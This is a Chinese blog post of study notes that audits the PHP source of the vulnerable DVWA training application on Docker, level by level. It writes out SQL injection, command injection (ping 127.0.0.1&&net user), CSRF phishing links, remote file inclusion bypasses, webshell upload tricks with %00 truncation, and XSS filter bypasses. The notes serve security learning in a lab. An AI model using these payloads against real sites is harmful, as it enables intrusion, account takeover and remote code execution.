由DVWA_v1.9学习代码审计笔记

Docker介绍

用的是 win10 x64位版本,推荐在powershell下运行(可以解决某些脚本或指令无法运行的问题。)
https://github.com/docker/for-win/issues
本地安装默认在C盘,由win10自带的 hper-v模拟一个linux环境安装。右击docker图标下载Docker for Windows 的 GUI 管理工具 Kitematic,解压安装在C盘docker的目录下。

国外镜像源pull太慢的话可以设置为国内的加速器,在docker daemon 的"registry-mirrors": ["https://stx13k4e.mirror.aliyuncs.com"] 数组里添加国内阿里云镜像加速器
vi 输入i进入编辑模式 ESC后进入命令模式 :wq

附一些docker 在windows下常用命令笔记说明:
docker run -t -i <image> 用镜像创建一个容器
docker run -it ubuntu bash 在bash命令行进入ubuntu;exit退出
docker start <container id> 开始该容器
docker stop <container id> 停止该容器
docker pull image 拉拽镜像
docker images 查看可用镜像
docker ps 查看运行的容器
docker ps -a 查看所有的容器
docker rmi <image name>删除镜像
docker rm <container id>删除容器
docker rm (docker ps -a -q) 删除当前所有容器
docker save -o <保存文件名(.tar)或路径> <要保存的镜像名> 导出镜像文件
docker load --input <要载入的文件名(.tar)或路径> 导入镜像文件

docker commit <容器id> <新名字>创建当前运行镜像的新的镜像(包含改变)
docker attach <container id>与该容器交互
docker pull private-registry.com/user-name/ubuntu:latest 从私有Registry上拉取镜像docker tag dvwa1.9_win10 euphrat1ca/dvwa1.9_win10 给镜像加上标签
docker login 登录到dockerhub
docker push euphrat1ca/ubuntu_cn 上传到dockerhub
docker inspect --format='{{.NetworkSettings.IPAddress}}' $(docker ps -a -q) 查看所有容器ip
docker cp [OPTIONS] <container Id>:本机文件路径

docker cp [OPTIONS] 本机文件路径 <container Id>:容器中文件路径

docker exec -it <container id> /bin/sh 与容器交互
docker inspect <container id> 容器信息
docker build -t apache-php2 . Dockerfile创建镜像
docker tag <container id> username/name:devel 修改镜像的标签
docker run -d -p 80:80 端口映射(-d守护进程)
docker run -it <images-name> env 查看HTTP_PROXY
, http_proxy

和no_proxy
的环境变量设置#由DVWA学习代码审计

Brute Force

low

<?php
if(isset($_GET['Login'])){
//Getusername
$user=$_GET['username'];
//Getpassword
$pass=$_GET['password'];
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>

只对pass做了MD5处理避免了代码执行,但是对username没做过滤。所以可以用admin'# 或 admin'or'1'='1("SELECT * FROM users WHERE user = 'admin'#' AND password = '$pass';" 第二个同理)绕过。

media

<?php
if(isset($_GET['Login'])){
//Sanitiseusernameinput
$user=$_GET['username'];
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(2);
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>

增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,但是类似addslashes和mysql_real_escape_string网上已有绕过的办法。同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(sleep(2)只不过耽搁会)。

high

<?php
if(isset($_GET['Login'])){
//CheckAnti-CSRFtoken
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');
//Sanitiseusernameinput
$user=$_GET['username'];
$user=stripslashes($user);
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=stripslashes($pass);
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkdatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(rand(0,3));
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
//GenerateAnti-CSRFtoken
generateSessionToken();
?>

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度。不过类似addslashes和mysql_real_escape_string网上已有绕过的办法。通过Burp抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。不过token是可以在页面上抓取的。

impossible

增加了放暴破设置,同时使用了更为安全的PDO(PHP Data Object)机制防御sql注入(PDO扩展本身执行任何数据库操作)

命令执行注入

low

// Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";

对输入的命令没有过滤,直接进行参数的传递。可以通过用“&&”和“;”来执行额外的命令 ping 127.0.0.1&&net user

medium

只不过是加入了一些黑名单的过滤,但是仍然不完全,比如网上给出的例子 ping 127.0.01 || net user ("||"的意思是前一个命令失败则执行下一个命令)。所以黑名单是过滤不完的

high

'&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',

黑名单列表更多了一点,同medium理。

impossible

// Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

这个就有点丧心病狂了,将IP以“.”分片后,分别来判断数据类型

CSRF 跨站请求伪造

low

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {        #检查两个参数是否相同
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );        #过滤非法字符,可尝试绕过
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
        // Feedback for the user         #如果相同则更改密码
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    mysql_close();
}
?>
  1. http://localhost:32774/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change#,构造此连接诱使他人管理员点击则可将密码更改为password1,前提是管理员使用了相同的浏览器打开(利用浏览器中的cookies)
  2. 攻击利用可通过网上的短网址服务对这串网址进行缩减。或者利用构造钓鱼网站或页面,在其中插入这段利用网址诱使管理员点击。

media

<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {        #eregi()功能:字符串比对解析,与大小写无关。
        // Get input 
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
 
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );
 
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
 
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
 
    mysql_close();
}
 
?>
  1. eregi()检查了保留变量 HTTP_REFERER中是否包含SERVER_NAME
  1. 验证是否包含了上图如主机名等关键字,如果没有则判断失败。只需要在http包中加入关键字即可绕过,比如构造的攻击页面名即为主机名loclahost:32774.html

high

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token        #用户每次访问页面都会产生一个随机token,发起请求时先验证token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

  1. 加入了 token验证
  2. 利用方面可以通过向目标主机植入木马获取token并更改密码,或者利用存储型XSS获取token

impossible

1.加入了要求输入原密码的验证,简单粗暴。使用了PDO防注入

file inclusion文件包含

low

$file = $_GET[ 'page' ]; 
  1. 可在链接 http://localhost:32774/dvwa/vulnerabilities/fi/?page=file1.php “=”后面跟文件路径读取服务器本地文件 linux / win \ ..跨目录
  2. 当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。 localhost:32774/dvwa/vulnerabilities/fi/?page=http://xxx.com/1.txt

media

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
  1. 使用str_replace()函数,对参数中的某些字符替换为空字符。 page=hthttp://tp://xxx.com/1.txt ,利用双写绕过规则,替换后则正好构成链接,远程执行命令。本地文件包含同理。且绝对路径不受影响。

high

if( !fnmatch( "file*", $file ) && $file != "include.php" ) 
  1. 使用了fnmatch()函数,要求提交的url中必须包含为file开头,可以利用windows下的 File协议,基本的格式如下:file:///文件路径

impossible

if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){

采用白名单验证,要求提交的参数必须包括这三个之一

file upload文件上传

low

$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
 
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
  1. 这里对上传的文件没有做任何的限制,而且最后还会判断是否上传成功并返回上传路径。所以直接上传一句话用菜刀连接就可以了。

media

    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
 
    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
  1. 代码对名称、类型和大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。
  2. 这里我们选择讲一句话木马的后缀改为 “.jpg”,然后上传的时候用burp更改上传文件类型(记得检查长度“Content-Length:”)
  3. 接着用菜刀连接即可。
  4. 在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为yijuhua.php%00.png

high

strrpos( $uploaded_name, '.' )
strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

  1. 第一个strrpos()先读取上传文件最后一个“.”后的文件名,最后在与上传文件的最后文件名比对,如果相同才可以上传。
  2. getimagesize( )函数会读取文件的头信息,要求头信息必须为jpg、png、jpeg的图片。
  3. 网上给出的是用文件包含和%00截断和命令行注入直接改名字,但这里我可能是因为配置问题一直没成功。

impossible

$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

// Generate Anti-CSRF token
generateSessionToken();

  1. 增加了文件名的md5验证,审核了文件内容,最后也加入了token验证。导致攻击者无法上传恶意脚本。

第六个不安全的验证码

  1. 因为我可能配置有点问题,这里没办法实验╮(╯▽╰)╭
  2. 大概思路和CSRF套路一样,更改密码时需要提交验证码,构造钓鱼页面向用户发送含有更改密码连接的页面诱使其点击。

sql injection sql注入

手工注入思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据

low

$id = $_REQUEST[ 'id' ];
 
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
  1. 对来自客户端的参数“id”没有进行任何的过滤,直接查询。
  2. 先通过 “?id=1 and 1=1”与“?id=1' and 1=1’”判断出为字符型注入(1为数字,2为字符)

media

mysql_real_escape_string( $id )
  1. 使用mysql_real_escape_string()函数对id中的特殊符号进行转义。使用了下来菜单的方式限制了输入,但是用burp抓包以后依然可以提交特殊语句。
  2. 根据提交特殊语句判断为数字型注入
  3. 在诸如过程中也许会遇到特殊字符转义,可以用二进制的方式跳过,如 ’users ’ = 0×7573657273

high

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
  1. LIMT 1 限制每次只出现一个结果,但是可以通过 “#”将其注释掉

impossible

// Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();
 
        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];
  1. 采用了PDO技术将代码与数据分离开,而且确保只有在数据为一行的情况下才可以输出。最后加入了token验证。

sql injection blind sql盲注

原理和sql注入类似,但是隐藏了错误信息,只返回对、错

XSS(Reflected) 反射性XSS

low

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
  1. 对参数未做任何处理,直接显示
  2. <script>alert("XSS");</script> 验证成功,弹出提示框。

media

$name = str_replace( '<script>', '', $_GET[ 'name' ] );
  1. 对参数做了'<script>'过滤转换为空 <sc<script>ript>,将头转换即可。

high

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] )
  1. 使用正则对特殊字符进行了转义。
  2. 所有包含这些特殊字符的语句都失效。

impossible

$name = htmlspecialchars( $_GET[ 'name' ] ); 
// Generate Anti-CSRF token 
generateSessionToken(); 
  1. 加入了token验证和,绕过 htmlspecialchars()函数的具体方法网上还是有的,htmlspecialchars()函数只对&、’、”、<、>符号进行转译成html特殊符号,我们可以通过url编码对带有连接的标记进行攻击:<a href="<?php echo htmlspecialchars("javascript:alert(1)",ENT_QUOTES); ?>">a</a>

XSS stored 存储型XSS

low

stripslashes( $message );
  1. stripslashes函数表示:去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个。除了这个以后则对参数没有进行其它的过滤。

media

  1. 主要思路和反射型类似,都只是转义了一个<script>

其它两个等级也类似。

http://www.freebuf.com/sectool/102661.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,053评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,527评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,779评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,685评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,699评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,609评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,989评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,654评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,890评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,634评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,716评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,394评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,976评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,950评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,191评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,849评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,458评论 2 342

推荐阅读更多精彩内容

  • 转载自 http://blog.opskumu.com/docker.html 一、Docker 简介 Docke...
    极客圈阅读 10,468评论 0 120
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,591评论 18 139
  • Docker — 云时代的程序分发方式 要说最近一年云计算业界有什么大事件?Google Compute Engi...
    ahohoho阅读 15,506评论 15 147
  • 这段时间有位朋友要离开北京回老家了,原来是母亲到医院查出了癌症,虽然还不知道是良性还是恶性,但作为独子的他必须得回...
    果昊妈妈阅读 113评论 0 0
  • 看着丫头的一点一点进步,还是很高兴的!仔细分析老师发给的班级分数统计表,看看丫头的排名介于一本和二本之间!再和舒中...
    苗老师阅读 111评论 0 0